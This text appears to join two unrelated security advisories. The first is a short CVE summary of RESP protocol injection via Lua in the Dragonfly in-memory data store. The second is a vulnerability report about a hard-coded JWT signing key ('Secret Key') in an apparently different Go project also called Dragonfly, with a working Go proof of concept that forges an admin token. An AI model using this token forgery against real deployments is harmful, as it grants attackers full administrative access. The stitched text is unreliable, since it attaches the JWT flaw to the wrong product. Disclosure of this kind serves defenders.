Dragonfly is an in-memory data store built for modern application workloads. Prior to 1.39.9, Dragonfly has a RESP Protocol Injection via Lua redis.errorreply() in EvalSerializer. An authenticated user can inject arbitrary RESP messages into the connection's response stream, potentially causing response desynchronization in connection-pool clients. This vulnerability is fixed in 1.39.9.
Summary Hello dragonfly maintainer team, I would like to report a security issue concerning your JWT feature.
Details Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass go authMiddleware, err := jwt.New(&jwt.GinJWTMiddleware{ Realm: "Dragonfly", Key: []byte("Secret Key"), Timeout: 2 24 time.Hour, MaxRefresh: 2 24 time.Hour, IdentityKey: identityKey,
IdentityHandler: func(c gin.Context) any { claims := jwt.ExtractClaims(c)
id, ok := claims[identityKey] if !ok { c.JSON(http.StatusUnauthorized, gin.H{ "message": "Unavailable token: require user id", }) c.Abort() return nil }
c.Set("id", id) return id })
PoC Use code below to generate a jwt token go package main
import ( "errors" "fmt" "time"
"github.com/golang-jwt/jwt/v4" )
func (stc DragonflyTokenClaims) Valid() error { // Verify expiry. if stc.ExpiresAt <= time.Now().UTC().Unix() { vErr := new(jwt.ValidationError) vErr.Inner = errors.New("Token is expired") vErr.Errors |= jwt.ValidationErrorExpired return vErr } return nil }
type DragonflyTokenClaims struct { Id int32 json:"id,omitempty" ExpiresAt int64 json:"exp,omitempty" Issue int64 json:"origiat,omitempty" }
func main() { signingKey := "Secret Key" token := jwt.NewWithClaims(jwt.SigningMethodHS256, &DragonflyTokenClaims{ ExpiresAt: time.Now().Add(time.Hour).Unix(), Id: 1, Issue: time.Now().Unix(), }) signedToken, := token.SignedString([]byte(signingKey)) fmt.Println(signedToken) } And send request with JWT above , you can still get data without restriction. <img width="1241" alt="image" src="https://user-images.githubusercontent.com/70683161/224255896-8604fa70-5846-4fa0-b1f9-db264c5865fe.png">
Impact An attacker can perform any action as a user with admin privileges.